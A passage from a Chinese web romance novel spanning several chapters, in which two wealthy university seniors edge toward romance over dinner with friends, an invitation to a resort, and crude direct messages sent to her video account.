她家门一开,他就听到了动静,但不想给她多余的压力,他虽然很希冀,可就佯装没听到,控制着自己不往门口看。如此,她走或留都能更自如些。 而默默开着的门,说是他自私也好,贪心也罢,他总还是想为自己争取一二的。 隔壁的门关上了,她的脚步声清晰响起靠近了。 商恪景心脏都似被握住,状似低头看着手机,实际全神贯注听着门口的动静,听其究竟是由远及近再远离还是由远及近顿住。 “商恪景。” 一道许久未曾听到的,和往昔有所类似的悠扬唤声猝不及防入耳,商恪景耳根都是一麻,他登时看向门口,装不下去的当即站起身。 “快走了,我今天起迟了,再不走迟到了。” “来了!”喜色霎时升上,商恪景拿过书本就大步流星往门口去。 前后脚进到电梯后,商恪景闷不住高兴,偏过头去无声傻乐。 虞千绾也从自己这侧反光的电梯内壁上发现商恪景没在看向自己这边,于是悄悄瞄去一眼,冷不丁捕捉到他那侧电梯内壁上反出的他的表情,怕被他发现,她登时就回过了视线没再看,但唇角莫名也在上翘。 “叮——” 电梯到达一楼,紧合的电梯门缓缓打开。 “那什么。” “嗯?”商恪景看向虞千绾。 电梯门刚打开半人缝的距离,虞千绾就先一步侧着身窜出,看都没看商恪景,语速很快,“下次也不用天天开着门,有事出门我会喊你的。” 她脚下走得太快,都要趋近于小跑。 后半句话几乎是被风卷过来的。 商恪景反应过来其中意思的时候,虞千绾已经要快走到所住的栋楼门口了。 面前电梯将要自动关闭,商恪景当即伸出手挡住,颀长身形跟着踏出,笑声彻底闷不住的漾出。他人高腿长的,又是直接跑着,很快就追上虞千绾,“知道了。” 冷风拂面,虞千绾该是感到到冷的。 可她的脸却格外的热,她抿着唇瓣,不看左边的商恪景,忽然很难为情。 商恪景却突然又快步向前,然后转过身,看着虞千绾倒走几步,高兴之余也很认真地复道了遍:“我知道了。” 很简洁的四个字,虞千绾却在碰到他视线的时候微微晃了神,她感受到了太高的浓度,远超于她对这话诉出的认知。 但不知怎的,面对的人是他,她竟也不会感到压力,反而是更甚的面臊和不该是面对他时候出现的那种小女生的烟视媚行,“你才不知道。” 她嘴硬的这么回,也没有偏开和他直对着的视线,仿佛这时候谁先退开视线谁就输了般。 可表情早先她的话表达出真实的心绪。 他们多了解彼此。 商恪景自然不会信这种浮于表面的只言片语,他眸中积蓄的笑意反而更浓,左眉小幅度张扬轻挑,“我就是知道。” 知道她在默许他的靠近。 知道她对他和旁的追求者不同。 知道他也该拿出正儿八经的追求态度了,她不反感他的喜欢。 接送他们上学的司机看到了他们,忙不迭下车帮他们打开了后座车门,微微弓身单手挡在车顶。 虞千绾也想赶快上车截停这个话题,她都快要被商恪景盯得喘不上气了。 就在她矮身要上车之际,商恪景的胳膊突然横空伸来。 他的手直接撑在了车窗上,小臂就这么阻在虞千绾身前挡住了她要上车的道路。 虞千绾和司机都下意识侧目看向商恪景。 商恪景另手捂着心脏,眼睑半闭,那表情荡漾的简直不像话,“啊……虞千绾啊。” 他持续在笑。 依旧是个没直白说什么的话,虞千绾却瞬间被一种隐晦的暧昧席卷。 司机什么都不明白,他只当他们俩在打闹说笑,毕竟这么多年,他们都是如此的。 但被看着的虞千绾不这么想,因为现在的他们并不似往日那般清白,心态变了,哪怕再置身于同样的处境也会有不一样的感觉。 虞千绾彻底没绷住,变得面红耳赤起来。 她抬手就打下商恪景横在她身前的手,还顺手就隔着衣物掐住了他腰腹紧实的肉,跟着顺时针狠狠一拧。 完全没收着力度的一下。 商恪景表情骤变,吃痛的倒抽口凉气。 虞千绾这才心满意足,只觉自己掰回一城。 骄纵朝他抬起下颚扬了扬眉,“别废话,快点上车,真要迟到了。” 虞千绾上了车就扭过了头,半侧着身背对他。 商恪景看着她那圆润的后脑勺,揉了揉还在隐隐作痛的腹侧,还是笑了声才跟着上车。 过程中不自主地在心里念: 「虞千绾啊虞千绾。 怎么有人骄矜起来都这么可爱呢。」 「虞千绾、虞千绾、虞千绾」 「千绾、绾绾……」 作者有话说:商恪景:不给我说,ok,那我就在心里念。千绾、千绾、千绾……好幸福[熊猫头][熊猫头][熊猫头] 第46章 第 46 章 是情动 大学生的假期本就比之初高中生要早到, 且没有固定日期,上完课考完试就算是放假了。 大四生虽然在找工作和考研保研这方面很费功夫,但在课业上较为轻松,才十二月中旬还没到的日子, 虞千绾和商恪景就迎来了寒假。 他们专业这学期的所有课程都结束了, 其实在一周前他们就没课了, 但老师给他们留了复习备考的时间, 所以拖到今天才正式考完最后一门课, 算是彻底清闲了下来,心里头再不用思虑着学校的事, 整个大学时光的课业到此就算全部告终, 只剩个毕业论文答辩了。 但论文答辩在明年六月,迄今有足足半年多的时间。 虞千绾和商恪景从来都是及时行乐主义, 才不会为了明年的事去心忧,何况他们论文都写的七七八八了, 也不打算读研更无需担忧毕业后去哪工作的问题, 完全只需享受余下的半年大学时光。 虞千绾拔完智齿缝合的线已经拆过了,但刚拆完线的那阵她跟商恪景正在为了期末考的事努力着,谁都不想临要毕业了还挂科给自己平添麻烦。所以那些天的他们都把时间花在复习上,没花费太多时间外出寻觅餐厅吃饭, 基本都在家里吃。 现下考完试, 知道肯定不会挂科,两人完全宽心惬意,连家都没回就直接从校门口乘车去了事先订好的餐厅准备大吃一顿。 两人挑了个靠窗风景好的位置落下, 才刚点完餐没聊两句就出现了位不速之客。 那人是从虞千绾背后走过来的,她并没注意到。 但坐在她对面的商恪景却是一眼看到,双眸顿感不妙的微眯, 他立即拿起手机给那人发去消息,不让那人过来。 虞千绾从商恪景表情上感到一丝不对劲,觉察到他好像总在看她身后,她下意识朝后扭头也看了眼,未成想瞧见了两位老朋友——薄正卿和卓湘灵。 本就没打算顺从商恪景意思离开的薄正卿和虞千绾对上视线更是不可能走,他一副惊讶模样朝着虞千绾热情摆了摆手,“千绾,恪景,这么巧呢,你俩也来这吃饭啊。” “对啊,我们今天考完最后一门试,可不得出来放松放松嘛。” 虞千绾不明情况,只知道看到老朋友挺高兴的,自如笑答。 但置于她身后的商恪景已然无奈到极致的单手扶额了。 他就不该让薄正卿知道…… 这些天,两人之间的相处没再那么有距离感。 商恪景自然是高兴甚至是荡漾的,毕竟他没谈过恋爱,在这方面说是白纸也不为过,且第一次得到虞千绾的正面反馈,很难稳住心神不激动。哪怕他知晓虞千绾现在对他的喜欢肯定没有那么多,但也比他的预想要好上不知多少倍。 于是在三天前,薄正卿给他发消息约他出去玩的时候,面对这么多年一直知道他对虞千绾感情的挚友,商恪景拒绝之后又小小显摆了一下。 说自己要跟虞千绾一起去氛围格调很不错的xx餐厅吃漂亮饭,没空搭理薄正卿这个单身狗。 薄正卿迅速回了个问号:[?] [谁问你了?] [而且大哥,你答的日期跟我说的都不是一天好不好?你真是一点都不装了。] 薄正卿什么都清楚,可还是有些破防的质问:[你现在难道不是单身狗吗?] [说的跟你脱单一样。] 当时进行这番对话的时候,浸在暧昧期的商恪景感到格外的爽,薄正卿怎么说他都没反应,因为那些话于内心甜蜜的商恪景而言毫无攻击力。 但看到薄正卿出现在这的那一秒,商恪景万分后悔,开始反省自己那天太得意了,就不该把餐厅名交代的太清楚,否则薄正卿也不会今天出现在这了,也不知道薄正卿想折腾出什么幺蛾子报复他…… 另边,虞千绾还在跟薄正卿聊着。 她视线上上下下将薄正卿打量几次,见他动作间一如既往的灵活,说话时肢体动作很多,毫无卡顿,笑问:“伤是完全好了?叔叔阿姨又放你出来了?” 一提到这,薄正卿就一肚子苦水,顺势就拉开了椅子坐在另边巴拉巴拉的跟虞千绾诉说。 餐桌是四周都有餐椅的,刚好够四个人坐,虞千绾见状拉开另边的椅子让卓湘灵坐。 好好的二人世界就这么变成了四人聚餐。 薄正卿什么都还没做,商恪景就已经郁郁了。 如若只有薄正卿在这,商恪景肯定直接开口撵人,反正他们之间都很熟。 可还有个虽认识但不是很熟的卓湘灵在,那些话就不太方便说出口。 服务员前来上菜,薄正卿更是直接让服务员把他和卓湘灵刚刚点的餐也一起上到这桌来,他们四个在一块吃。 商恪景都快用眼神把薄正卿盯出个洞,薄正卿也觉察到,但反而更暗喜,谁让他还没谈上恋爱就开始虐他?他当然也得狠狠虐虐他。 今日过来这家餐厅其实也只是薄正卿临时的想法,各种巧合之下的结果。 他爸跟卓湘灵父亲是旧交,两家在生意上多有合作,但卓家的工作重心在五六年前正式移去了港澳地区,卓家人自然也就都搬去了香港居住,两家人碰面的机会也就这么减少。 但前些日子,卓湘灵及其父亲一起回了京市视察了圈分公司的情况,不过主要还是为了今日和薄正卿父亲谈单大生意。 而卓湘灵也到了要进到家中集团的年岁,卓父便带着她在身边一同历练历练。 老友见面,谈完生意之后当然还会聊些朋友间的琐碎话题。 但孩子们对大人的话题不感兴趣,薄父就主动提让薄正卿带着卓湘灵出来逛逛,他们年轻人在一块玩更有话题更舒服。 薄正卿本来正打游戏呢,突然被老爸安排个任务很不情愿,但他也只敢在心里默默腹诽几句,面上很麻溜就照着做了。 恰在这时,他想起,今天好像就是商恪景那日提说要跟虞千绾一起吃饭的日子,他便在无趣中给自己寻些乐趣,将餐厅订在了这。而且他并不知商恪景和虞千绾来这吃饭的时间点,完全是碰运气。 薄正卿本意其实也没想干什么,就是想着出都出来了,而且也得找地方吃饭,那不如找个可能有熟人在的地方,保不齐还能看看热闹。 可发现商恪景的不爽后,他突然很爽了。 卓湘灵是个较为娴静话少的性格,又因为这些年基本都待在香港和京市的大家其实没那么熟了便更不会开口说什么。 虞千绾注意到,笑吟吟地扭头主动和她搭话。 这种往昔熟悉,多年未见的朋友聊起来最有话题了。 聊聊过去,再聊聊彼此不曾得知的近些年情况,时间就过去了。 虞千绾和薄正卿讲话的时候,商恪景时不时还能插几句,现在两个女生交流,他是一句话都插不上了。 结果薄正卿还在那欠兮兮地瞧着他笑,就差没把破坏商恪景约会很得意写在脸上。 商恪景看得气不打一处来,抬手就皮笑肉不笑地扼住他后脖颈往下摁。 薄正卿梗着脖子往后抵。 两人就这么无声呲着火花僵持着,幼稚得很。 薄正卿就跟大发慈悲似的忽问:“我再问你一遍,后天来不来我攒的局玩?” “不去。” 先前商恪景都不应,更别提现在这种对峙的情形了。 “行。” 薄正卿却突然笑了,“你别过会儿打脸求我。” 听到的这瞬,商恪景只想嗤笑,笑薄正卿脑子里都是什么,他怎么可能求他? 开玩笑。 下一秒,薄正卿对着正在和卓湘灵聊天的虞千绾喊了声:“虞千绾。” 商恪景如老鼠见猫般倏地收下了手,连那点开玩笑的恶劣行径都不想让她瞧见。 完全知道商恪景死穴的薄正卿面上笑容更重,“后天我攒了个局,算是庆祝我重获自由,你来不?” “又是会所?” 虞千绾对薄正卿攒的局深表怀疑,他这人太爱玩了也太能闹腾了,起初还感觉挺有意思的,可参加多了就觉得没意思,每次都是那些流程,还不如在家躺着玩手机舒适。 “不是,是度假山庄,绝对的风景秀美,各种游玩设施都有,还有很适合现在这天气的温泉,泡起来可舒服了,我家新开发好没多久的,只要你来,吃住玩肯定都给你拉满顶配。” 不得不承认,虞千绾有些心动,尤其在现在这个刚放假的阶段。 “有哪些人?女生多吗?” 薄正卿攒的局还有个问题就是男生太多了,女生寥寥无几,虞千绾就不是很爱去。 “多!你放心,这次我喊了可多人了。” 薄正卿立即掏出手机,点入微信,打开特意为了后天行程建立的群聊,直接让虞千绾看里头的群成员。 虞千绾指腹触在他手机屏幕上滑了滑,一行一行看着群成员的名字。 其实真要看男女比例,还是男生要多过女生的,但因为薄正卿邀请来的人多,所以即使女生人数少于男生,那也有很多女生了,其中不乏虞千绾熟悉的。 其实这个局与其说是薄正卿庆祝自己再度从爸妈的魔爪下逃脱,不如说是在给自家的度假山庄宣传更贴切,不然薄正卿不会邀请这么多人。 他家里建的度假山庄档次肯定不低,说白了受众就是对标他们这群有钱人的。 薄正卿免费请大家过来玩,也是让大家知道有这么个地方,若有人喜欢这,日后不就会付费来玩了嘛。 正好他也确实爱玩,在自家的地盘玩还不用给钱,算是一举两得。 觉察到虞千绾想去的情绪,商恪景眉心一紧,当即捂住了薄正卿的手机,先她一步开口道:“他每次都这么说,去了以后没一次是有意思的,你还信他?” 薄正卿戚笑声,知道某人是不想过会儿再央求他说要来,跟着就继续鼓动虞千绾,“千绾你放心,这次绝对跟之前不一样。而且你看啊,这么多人呢,肯定不会都聚在一起行动的,山庄那么大,爱去哪玩去哪玩,想玩几天玩几天。” “对了!我跟你讲,有个你超爱的!” 薄正卿想到什么,眼睛一亮,骤然一拍腿,“山庄里的娱乐区还有麻将!大家这么多人,随便拉几个也能凑一桌。我保证,到时候只要您到时候一声令下,我绝对来陪。” 虞千绾有个还挺炽热的小癖好,她喜欢打麻将。 寻常不玩的时候她也没瘾,可一旦玩了,那毅力真是十足,可以从头坐到尾一直打,跟她相熟的朋友们都知道。 果不其然,听到有麻将可以打的虞千绾眼睛登时蓄起些粲然,一口应下,“行!我们去。” ——我们。 她想当然的认为,商恪景也是会去的。 商恪景听到薄正卿说出麻将的那一刻就认命了,知道过会儿肯定得啪啪打脸了。 刚还不情愿去的局,现在因为虞千绾要去,他还得巴结着薄正卿让他去。 被拒绝了几次的薄正卿当然不会轻易松口,跟个大爷似的翘着二郎腿,嘚嘚瑟瑟抬着下颚睨着商恪景,一副‘刚刚的我你爱答不理,现在的我你高攀不起’的姿态。 商恪景解决问题的手段很简单粗暴。 他靠近薄正卿,低声:“小蓝给你玩几天。” “卧槽。” 薄正卿瞬间不淡定了,翘着的二郎腿都放了下去,刚还好似很难说话的神情反倒还掺上了些不敢想象的讨好,“真的?” “……真的,过会儿我让司机开去你家,你给我注意点啊,磕着碰着我不会放过你的。而且撑死一周,一周之内必须给我原封不动送回来。” “放心放心,我肯定像对我未来女朋友一样对它。”薄正卿乐得不行,还没碰到车已经在虚空模拟着手转动方向盘脚踩油门驰骋飙车的动作了,光是想象就颅内疯狂高潮。 小蓝,商恪景最珍爱的一辆蓝色超跑。 不仅是全球限量款,还是他特别找人改装过的。哪怕在他们这个圈子里只要开出去都会收获一众人的惊叹就足可以见其的价值。 他自己平常都不太舍得开,很是宝贝。薄正卿惦记很久,找他借过好几次,他都没给。 但显然,什么东西都没有和虞千绾相比的能力。 虞千绾并不知道这些,吃完饭离开餐厅的时候,她看着薄正卿乐得找不着北的样子还挺狐疑,“他上次车祸不是说没摔着脑袋吗?” 商恪景被她这突然一本正经冷幽默的话逗到,扑哧轻笑出声,“因为他狠狠勒索了我一笔。” 他们俩老爱玩这种路数,分明都是不差钱的人,却还总喜欢从对方手里弄点东西过来。 虞千绾习以为常,想着薄正卿后半截饭局里都在笑,颇具有些同情地看向商恪景,“那你应该这次被勒索的挺惨。” 商恪景眼睑微垂,同她更直接的交视。 桃花眼轻弯,由衷道:“但很值。” 虞千绾被他这态度勾起了些好奇,歪头追问:“什么东西这么好?” 歪着脑袋,睁着双像大葡萄一样黑亮的眼睛盯着他的模样实在太可爱。 太……让他难以招架,她的眼睛就好像是漩涡,注视着就会在一个不经意间被卷入其中。 商恪景情不自禁就想伸出手,去用指骨轻轻地抵一下她的脸颊。手指悬空探到一半,他的理智忽而回笼,意识到不妥又迅速握紧,放下,错开视线,“秘密。” 虞千绾则有些后知后觉。 后知后觉意识到他刚刚想要触碰她。 后知后觉意识到,他原本很正常看着她的眼神突然就晦暗浓稠了下去…… 那抹晦暗,是情动。 第47章 第 47 章 虞千绾心跳突然漏拍失控…… 从账号的第一条视频发布至今也有着说长不长说短不短的一个多月时间了, 得到实时评价的虞千绾再不会像筹备期那般焦虑无措,已经逐渐将这份工作融入自己的生活中愈发游刃有余起来,还攒了几条视频当库存。 因为是具有一定商业性质的账号,但又不想做的太商业化, 所以虞千绾在保持一周一条带有明确宣传向的视频外还会发一到两条趣味性热点视频。 这类视频都不会提及任何一个品牌, 看起来无广, 更带有日常感能让受众看下去, 实则或多或少都会给嘉澍做点宣传——嘉澍集团旗下实在有太多太多家不同类型的子公司了, 大到开的车佩戴的奢侈品,小到她的一双美瞳、一身ootd, 感兴趣的人看到自然会去搜索购买。 子公司和分公司不同, 子公司的名字是独立新取的,不特意去了解的人压根不会将其和嘉澍集团联想在一块, 就连虞千绾自己都没法全部记住。 所以虞千绾想给自家品牌宣传实在太简单,她可以根据视频里缺什么再去挑选适当的东西塞进去做个软广提高大众对其的了解, 而不是为了某个产品做一整期的视频, 如此广告感就会淡很多。 不过肯定会有人知晓或是刻意去挖掘得知嘉澍与其的关系,但这没什么,虞千绾做的账号本来就是要为自家宣传的。 可大众很震惊,他们震惊的是—— 【我靠, 这家是嘉澍的?】 【我靠, 那家也是嘉澍的???】 【怎么这些都是嘉澍的!】 【等等,你这说,这些都叫得上名号的品牌其实都是嘉澍集团的子公司?天老爷, 我眼睛都红了。】 【单拎一个都很牛了,不敢想象嘉澍集团到底有多少钱,啊啊啊啊, 随便送我一个我就满足了!】 这些倒没什么,但谣言跟着疯起,还越传越夸张,都快把嘉澍说成了一个全垄断的商业帝国。 圈内人自然不会信这些,都当个玩笑话一笑置之。 虞千绾起初也没太在意,因为先前已经经历过一次流量更大的真假混杂的情形了。而且这种事情也不好让嘉澍集团单独做个声明辟谣,未免太过于奇怪,索性就任由事态发展,反正互联网的讨论事件一天变一个,等到大多数人的注意力都被吸引走后就不会引起这样广泛的讨论了。加之这些话题能让她的账号有更高的关注度,能提高大众对嘉澍的了解程度,起码把嘉澍的名号打出去了,总体来说还是利大于弊的就更没必要上纲上线特别澄清什么了。 不过最近,结束了课业压力的虞千绾多出不少闲暇时间,她便翻了翻之前没怎么看过且早已99+的私信。 根据平台给出的数据,虞千绾的账号女性观看者要远远大于男性观看者,她自然认为私信也是女性更多。 所以点入私信看到和她预估截然相反的情形时,她大受震撼,私信列表里几乎都是男性发来的评论,一目十行扫过去男味十足,女生的私信被淹没在其中倒显得寥寥无几。 男人的私信也都很千篇一律,基本都在说自己的年纪、外貌、身高、学历等等推销自己。 这四个里如果漏了哪个没提,那很显然,那方面不行,自行模糊了。 因为平台有限制,如若对方未关注或回复自己,那只能发出去一条消息,且只能是消息,不能是图片。 所以他们试图通过一条私信让虞千绾看上嫁入豪门,定然把自己所有能拿得出手的优势都塞进来了,就跟找工作写简历似的,疯狂放大自己的优势,对弊端绝口不提。 当虞千绾发现有人丧心病狂、毫无分寸到甚至把自己鸡鸡长度当做炫耀的资本发给她的时候,虞千绾眼前一黑,只觉得自己要长针眼了,那一刻,她无比庆幸平台不能给未回关的人发图片,否则她的私信……怕是会很肮脏,很扎眼,很令人作呕。 光是想象,虞千绾就打了个惊颤,皮肤不受控制地往外冒着鸡皮疙瘩。 恰在此时,窝在沙发上的虞千绾隐约听到门外有动静,好像是商恪景推开了家门。 跟着,她的手机顶端就接连弹出了两条微信消息: [能去你家找你吗?] [想跟你讨论讨论明天去度假山庄玩的事] 虞千绾只觉看到了救星,立即点进去回复:[速来!] 她现在非常需要他过来给她转移些注意力,或者和她一起吐槽一会儿,否则那些私信委实让她恶心的像是吞了几百只苍蝇,咽不下吐不出的,极度不适。 门外,收到虞千绾回信,得到她允可的商恪景当即踏出家门,反手关上了门,这才去输入虞千绾家门密码。 这段时间,他们虽然距离又近了些,但朋友和暧昧者的距离界定略有不同。 总归两人现在都不会像之前那么自然的去到对方家里,尤其商恪景这个男性,去到女生家里要更加注意。 拉开门的瞬间,商恪景还没瞧见虞千绾就问了句:“怎么了?” 她消息里的那个[速]字一瞧就是带着些情绪的。 虞千绾同样,还没看到商恪景的身形,光是听到他的声音就没忍住先是狠狠无语的一声幽长的“啊……” 而后很想噼里啪啦说一堆,可又不知道该从何说起,她觉得还是让他亲眼看到更有冲击力,胜过她的千言万语。于是手上将页面又切回了短视频APP的后台私信,生怕自己再瞧见,她是眯着眼操作的,不想再看到什么辣眼睛的文字,嘴上只道:“你过来看了就知道了。” 商恪景狐疑走过去,从她手里接过手机。 感觉到不会是什么好事,商恪景做了些准备,但显然还是做少了。 点开第一条私信时,他的眉头就微微皱起。 [虞小姐好,很抱歉以这样冒昧的方式联系您,其实我私下是个很内敛的人,但我知道如果不主动,我们很大概率会错过,所以犹豫很久,我还是发来了这条消息。我略比您年长五岁,很体贴很会照顾人,也是京市本地人。我知道现在的社会环境和以前不同了,如果您愿意给我一个机会,我一定毫无怨言的做您背后的男人,照看好小家。我的联系方式是:xxxxx。] 叽里咕噜说了一堆假话。 想入赘直说。 商恪景滑出这条消息的时候无声在心里吐槽。 结果吐槽还没结束,点入下条私信的他霎时默然了。 [我的公主殿下!臣来迟了。臣年岁十八,刚成年一个月,是鲜嫩可口的男高一枚~长相清秀,身高188,臣愿意随便由您玩弄,哪怕是做妾(媚眼.emoji)] 如果后面没有和上条私信一样附加了自己的联系方式,商恪景大概会觉得这只是在跟风玩梗。 但有着联系方式,商恪景觉得更像是在用这种状似诙谐的话语掩饰极度爱富的心理,以及不太正的三观。 这已然不仅仅局限在入赘层面了。 道德底线比商恪景预料的低得多。 但也是,有些道德的人也不会好意思给个陌生人发这种内容。 盯着手机失语了一阵的商恪景不知道又看到了什么,就像被憋出了内伤般,突然闷咳了声。 面色和耳廓都因为咳嗽瞬间浮上些淡淡的红,可神情确是冷肃的不快的且被深深冒犯到的。 他垂着眼,额前碎发挡住了视线,降低了五官的凌厉感,虞千绾便没有感知到那份不快,还当他是跟自己一样被某句话给气到或是无语到了。 找到共鸣,且他看起来好像比自己还要狼狈些。 虞千绾心情瞬间阴转晴,愉悦的咯咯笑了几声,但又很好奇是什么内容让他有如此反应,当即调整了原本盘腿窝在沙发上的姿势跪立起身,上身探出去瞧就站在沙发旁边的商恪景手里拿着的手机。 可商恪景眼疾手快,不仅瞬间后撤一步,还抬手抵住了虞千绾额头,不给她靠近。 拿着手机的右手手指迅速滑出了刚刚在看的那条私信,还顺手点了删除防止虞千绾看到,而后将手机灭了屏,一系列动作行云流水的很是丝滑。 “商恪景!” 虞千绾拧眉,半嗔半恼地掀眸瞪他,“什么东西,干嘛不给我看?” “脏东西。” 他言简意赅,“以后还是少看私信吧,这些人想天上掉馅饼想疯了。” “啊?” 虞千绾跪直身子,拿回自己的手机,复又在私信里滑了滑寻觅,但那条消息被删掉了,她翻不到,也实在想不到是什么内容仅是靠文字就能得到商恪景这个态度,费解嘀咕,“……不是不能发照片吗?” 太阳穴里就跟有根青筋,剧烈的突突弹跳了两下。 商恪景舌尖抵着后齿,忍了几秒,没忍住,齿间登时发出声短促的气笑音,“你听着好像还有点遗憾?” “少诬陷我,我都被恶心坏了,只是很好奇你看到了什么而已。” 虞千绾将双手环在身前,搓了搓自己的胳膊,“我刚刚看的都起鸡皮疙瘩了,刚散,你这话又给我鸡皮疙瘩说起来了。” 商恪景实在很难对着虞千绾可爱清纯的外表说着私信里那些恶俗的,自以为是诉出的自己在性方面的能力,太冒犯,冒犯到他心里都升起了一股火,冒犯到如若不是隔着网络,他定要把那人拽过来揍一顿。 最终,他只能跟虞千绾说:“以后还是别看了。” 虞千绾摆了摆手,又坐回了沙发上。 她看商恪景这个老回避的态度,就知道他刚刚看到的私信肯定也很辣眼睛,持续追问下去得知了怕是反倒让自己更为不适。 “我哪知道私信会是这个鬼样子,我还以为都是女孩子问我要衣服或者化妆品的链接呢,结果打开一群妖魔鬼怪。” 她也是很无语,“所以我不是赶快让你过来了嘛。” “让我过来像刚刚那样笑话我?” 商恪景幽幽睐她眼。 虞千绾回过视线,先是笑了下,而后道:“哎呀,别那么小气嘛,本意没想那样,只是需要分享对象而已。而且,更重要的是,我想洗洗眼睛,你身上有种干净清爽的感觉,让人很舒服。” 突如其来的称赞,商恪景抬了抬眉,唇角微扬,“夸我呢?” “对啊,那你——” 习以为常,嘴比脑子快的话一秃噜出去,虞千绾反应过来想制止的时候却已经有些迟了,商恪景眸中噙上了些别有深意的眼神。 “才没有。” 她别开了视线,很生硬的转折,“——你丑。” 这种很明显的口是心非突然很让商恪景心动。 他笑意更浓,“嗯,我丑,你是大美人。我刚刚也看到了不干净的需要洗洗眼睛,那就让我多看会儿你吧。” 说着,他的身形还微微弯下靠近虞千绾,眼神在她面庞流转,看得很是目不转睛。 很奇怪的感觉。 虞千绾并不陌生于别人夸她漂亮,这人是商恪景也不奇怪,他们虽然会互怼,但也会由衷夸赞对方的外貌和优点。但罕见的是,他没有在听到她说他丑以后幼稚的要求她收回那句话,然后展开一系列幼稚对话,反而这么顺了下来…… 虞千绾心头突然很躁动,很陌生的一种滋味。 她扭头就又向商恪景投去一眼。 这一眼里,饱含的娇嗔多过所有。 甚至她自己都不知道自己这一秒望向他的眼神竟然是这样的。 商恪景心都麻了一下。 依旧是打趣的腔调,可声音轻了些,眼神里多了几分缱绻,“果然是我们漂亮的千绾总,心灵都一起洗涤了。” 虞千绾心跳突然漏拍失控,砰砰直跳。 难以具体言说,但她最近有些越来越受不了他的眼神,好像是他里头的情意更浓了,又好像是她的阈值变低了。 第48章 第 48 章 可以在对方身上看到自己…… “别贫这些有的没的了, 不是要讨论明天去度假山庄的事?你说。” 商恪景是用度假山庄当由头来找的虞千绾,虞千绾也用度假山庄当由头转移了话题。 两人各用一次便谁都不点破谁,商恪景轻抿唇角,忍住没让自己笑出声, 徐徐直起身行至虞千绾身边, 同她之间保持了一人距坐了下来, 清了清嗓才努力抑住声线不上扬, “我看群里都在商量明天去的时间呢, 你有跟哪个朋友约好吗?” 虞千绾真的很想狠狠白商恪景一眼。 谁不知道他俩会一起?才不会自找没趣的特意过来问她要不要一起。 就连她自己都这么想当然的认为,压根没去找旁人的念头, 就打算和他一块。 结果他现在问这种话。 她都分不清他到底是故意装傻还是真不确定。 但她知道, 她如果把自己真实心绪表达出去,他肯定又要得意了。 “怎么?你跟薄正卿商量了?” 虞千绾选择不答反问, 如此进可攻退可守,如果他说他和薄正卿商量了, 那她一定跟着就说自己跟别人约了, 反正现在再去联系也不是来不及。 “没有。” 商恪景这两个字就已经回答了虞千绾的问题,但他还在后头加了句,“他知道我肯定跟你一起,问我也没用。所以, 你有跟别人约吗?” 商恪景是真的不确定虞千绾有没有约别人, 虽然他知晓她肯定会带他一起,但不知她会不会觉得一路上单独和他在一起别扭于是叫上旁人同乘一车去往度假山庄。 毕竟度假山庄距离他们住处还挺远,足足两个小时的车程。 因为薄正卿这次邀请的人太多, 大家的时间也很难全都调到一块,且出发地都有所不同,所以没确定一个固定的到达时间, 只说后面三天内随时想去都可以,三天内在度假山庄内的一切花销都由薄正卿买单。 不过虞千绾昨天和薄正卿见面的时候都聊好了,明天就去,最少在那待两天一夜,后续还待不待则等到去了以后看情况再定。好玩的话多待几天也行,不好玩随时就开溜。 虞千绾见商恪景好像确实没底,这才坦然道:“没约别人,但我也没想好具体的时间,就随便吧,看明天睡到几点起来再说。如果起得迟就在家吃个午饭再出发,防止路上饿,起得早就直接过去。反正睡前把行李收拾好就行,这样明天提着就走。” 依旧是只有她这种顶级P人才能说出来的话,毫无规划。 知道她没约别人一起,商恪景心旌升起些舒畅的飘飘然,“好。” 他诉的温柔,但就这么简短的一个字说起来太迅速,转瞬即逝,虞千绾并没清晰觉察到。 早年间的商恪景绝对是个J人,和P人完全搭不上关系,但随着和虞千绾一年年的相处,他的P人浓度逐渐增高,甚至达到六四开,尤其和虞千绾待在一起的时候。 他完全适应且习惯她在今天这种情况下佛系的随性而为,但也会在他们外出确实需要规划的时刻化身J人顶上。 或许,虞千绾原本性子也没这么P的,但因为商恪景的存在,他会事先处理好不需要她费心丁点,她也对他完全信赖,觉得不需要自己再去做什么,情愿全部放给他去规划。 在时间的长河中,天天形影不离的两个人很难不受到对方的影响再在无形中融到自己的身上。 他们磨合的越来越合拍,越来越离不开对方,甚至可以在对方身上看到自己的影子- 翌日。 虞千绾是早晨九点多醒的,这个点不早不晚的,既可以吃早饭又可以随便去楼下买点什么当午饭吃,犹豫半分钟,她决定跟商恪景直接去度假山庄,等到了那儿再吃,正好附近的吃食也差不多吃腻了,去到新地方还有点新鲜感。 两个人说走就走,联系上司机就开始起床洗漱。 商恪景今天没再只在家等着,提前来到了虞千绾家帮她拎行李。 女孩子嘛,带的东西总是要多些的。 她每次出门行李箱都很沉。 但商恪景没想到,她的行李箱上竟然还放着个电脑包。 他提了提,里头确实有电脑,不是她顺手放在上面忘了拿走的空包。 正在对着全身镜整理头发和衣服的虞千绾瞧见他的动作,主动解释了句,“我还有条视频没剪好,就差个小尾巴了,反正车程长嘛,我就给电脑带着,路上给剪了。而且带着电脑我安心些,虽然应该也不太会有什么突发情况,但要是真有也方便我临时修改。用惯了电脑剪辑再用手机感觉好拘束,小小的。” “哦……” 得到他这声略拖了些尾声且还有些不知名情绪的回应,虞千绾跟问句:“怎么?” “没怎么。” 商恪景靠在全身镜旁的墙边看着她,“就觉得你这样衬得我很不学无术。” 虞千绾完全不会这么觉得,笑了声,“放心吧,等到明年毕业,你就会忙成陀螺了,到时候我就被显得不学无术了。” 他们俩的工作性质完全不同,商恪景明年毕业肯定是要跟着商知珩后头忙管理的,余下这半年时光恐是他最后的清闲了。 虞千绾虽然现在已经算是在工作了,但比起他们清闲了很多,即便比商恪景先开始半年,但以他那工作强度,半年后正式开始工作应该很快就能超过她的工作时长。 商恪景闻言笑了笑,但笑的却没那么入心,依旧有些若有所思。 尤其在去往度假山庄的路上,他单手支着面侧,看着虞千绾认真捣鼓着电脑做工作,心里的那股子苗头突然就压不住。 收回视线,他掏出手机,给商知珩发去了消息:[哥,我想去永誉实习。] 工作时间一向回消息很慢的商知珩今天罕见的秒回:[] [是本人吗?] [认真的?] 接连三问,商恪景却笑不出来,心头更觉沉重,[嗯……非常认真。] 商知珩那边没再秒回。 耳边持续回荡着虞千绾细指敲击电脑键盘的声响,商恪景的手指不自觉也轻点着手机侧缘,愈发焦灼的等着商知珩回复。 到底没忍住,且怕哥哥回复完上句他再追问出下句后又消失,又要他等很久才能得到答复,他便引用了商知珩上面那句[是本人吗?]回了句:[哥,你说,虞叔和菡姨不会也这么想我的吧?] 